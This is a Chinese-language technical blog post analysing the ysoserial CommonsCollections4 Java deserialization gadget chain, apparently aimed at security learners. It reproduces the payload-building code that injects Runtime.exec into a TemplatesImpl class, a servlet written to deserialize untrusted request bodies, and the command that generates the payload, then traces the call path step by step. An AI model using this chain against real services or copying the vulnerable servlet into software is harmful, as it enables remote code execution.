前言
继续学习CommonCollection4反序列化链。同CommonCollection2,和CommonCollection3两个反序列化链类似,CommonCollection4是通过Template
, PriorityQueue
和Transform
接口类来作为调用链,但是由并非由InvokeTransform
而是由InstantiateTransformer
来实现的。
ysoserial中的CC4 payload构造
先学习yso中cc4这条链的payload是怎么构造的。
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
createTemplatesImpl
// 首先获取 TemplatesImpl 类实例。
final T templates = tplClass.newInstance();
// 通过前面介绍的javassist技术获取并修改 StubTransletPayload 类
ClassPool pool = ClassPool.getDefault();
// 将StubTransletPayload类和AbstractTranslet类添加到类搜索路径,第一个类为我们需要获取并修改的类,第二个类为父类。实际上这里手工添加类搜索路径起到一个保险作用。
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
// 获取 StubTransletPayload 类并创建 CtClass 实例对象。CtClass 对象是可以被动态创建修改的。
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在 StubTransletPayload 类定义的最后添加静态代码块
String cmd = "java.lang.Runtime.getRuntime().exec("" +
command.replace("\", "\\").replace(""", "\"") +
"");";
clazz.makeClassInitializer().insertAfter(cmd);
// 将这个我们动态创建并进行了修改的类进行命名
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 获取 AbstractTranslet 类,并将该类作为新建类的父类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
到此,一个新建类(StubTransletPayload)已经创建并修改完成。
// 获取这个新建的恶意类的字节码
final byte[] classBytes = clazz.toBytecode();
// 通过java反射机制将这个字节码填充到 TemplatesImpl 实例对象的 _bytecodes 属性中。这里为了代码规范,还注入了一个无意义的类的字节码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// 填充了 TemplatesImpl 实例对象的两个字段 "_name" 和 "_tfactory"
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
至此,我们得到了携带恶意类字节码的 TemplatesImpl
实例对象,变量定义为templates
。
创建 ChainedTransformer 对象
创建一个ChainedTransformer
对象,作为优先级队列的比较器的构造函数参数。
该ChainedTransformer
对象实例化时传入两个对象作为构造函数参数:ConstantTransformer
和InstantiateTransformer
。
在后续过程中通过反射,将InstantiateTransformer
对象的iParamTypes
属性和iArgs
属性赋值为前面创建的携带恶意类字节码的 TemplatesImpl实例对象,此过程与前面cc3的过程一样。
创建优先级队列 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
直接创建优先级队列,将TransformingComparator
作为比较器。此优先级队列对象作为序列化对象返回。
反序列化过程分析
1. 创建web项目
创建一个maven web项目,并创建一个servlet如下:
package com.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
pom.xml中添加commons-collections4:4.0依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
使用yso生成calc命令的payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "calc" > cc4.ser
利用burp发送payload,成功执行命令弹出计算器:
2. 反序列化链分析
通过 ysoserial 生成的payload 可以知道 CommonsCollections4 Payload 返回的是一个优先级队列( PriorityQueue )对象。
因此我们直接定位到 PriorityQueue.readObject() 方法。
java.util.PriorityQueue.readObject()
传入的参数s是ObjectInputStream
类型,就是我们请求体发送过去的反序列化数据。
调用默认的 ObjectInputStream.defaultReadObject()
方法 , 反序列化数据流。
这里从这些反序列化数据读取相关值,还原PriorityQueue
这个对象。
调用 ObjectInputStream.readInt()
方法读取优先级队列的长度。这里读取了并没有赋值,在下面一行代码才获取到队列的大小并赋值给PriorityQueue
对象的size
属性。
接下来循环读取内容并赋值给queue数组。
现在已经获取到一个无序队列了,这是一个优先级队列,所以调用PriorityQueue.heapify()方法将无序队列按照比较器规则还原成二叉堆。
java.util.PriorityQueue.heapify()
PriorityQueue.heapify() 方法用于构造二叉堆
java.util.PriorityQueue.siftDown()
PriorityQueue.siftDown() 方法会根据是否有自定义比较器来调用不同的方法。
comparator 值为 TransformingComparator
。
java.util.PriorityQueue.siftDownUsingComparator()
最终会调用comparator.compare()
方法,即 TransformingComparator.compare()
方法。
org.apache.commons.collections4.comparators.TransformingComparator.compare()
this.transformer
为ChainedTransformer对象,继续调用ChainedTransformer.transform()
。
ChainedTransformer.transform()
ChainedTransformer在构造时,this.iTransformers
属性为数组,含有两个对象:ConstantTransformer
和InstantiateTransformer
,依次调用这两个对象的transform()方法。
ConstantTransformer.transform()
返回classcom.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
,作为InstantiateTransformer.transform()
函数的参数。
InstantiateTransformer.transformer()
这里的input变量是TrAXFilter类。
这里会将实例化一个TrAXFilter类,传入构造函数的参数this.iArgs为之前生成反序列化链时的TemplatesImpl对象。
进入TrAXFilter的构造函数。
TrAXFilter.TrAXFilter()
可以看到这里调用了templates.newTransformer
,这部分就跟前面分析cc2利用链过程一样了。
TemplatesImpl.newTransformer()
方法主要用于获取 TransformerImpl 实例对象。
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
会调用 TemplatesImpl.getTransletInstance()
方法:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
_class[_transletIndex]
就是我们通过 JAVAssist 构造的恶意类。
会对恶意类调用 newInstance() 方法,类会先被加载后再被实例化。
类在加载时会调用静态代码块中的内容。最终会调用 java.lang.Runtime.getRuntime().exec()
执行我们的命令。
参考链接
https://www.cnblogs.com/litlife/p/12571787.html
原文始发于微信公众号(信安文摘):【yso】- CC4反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论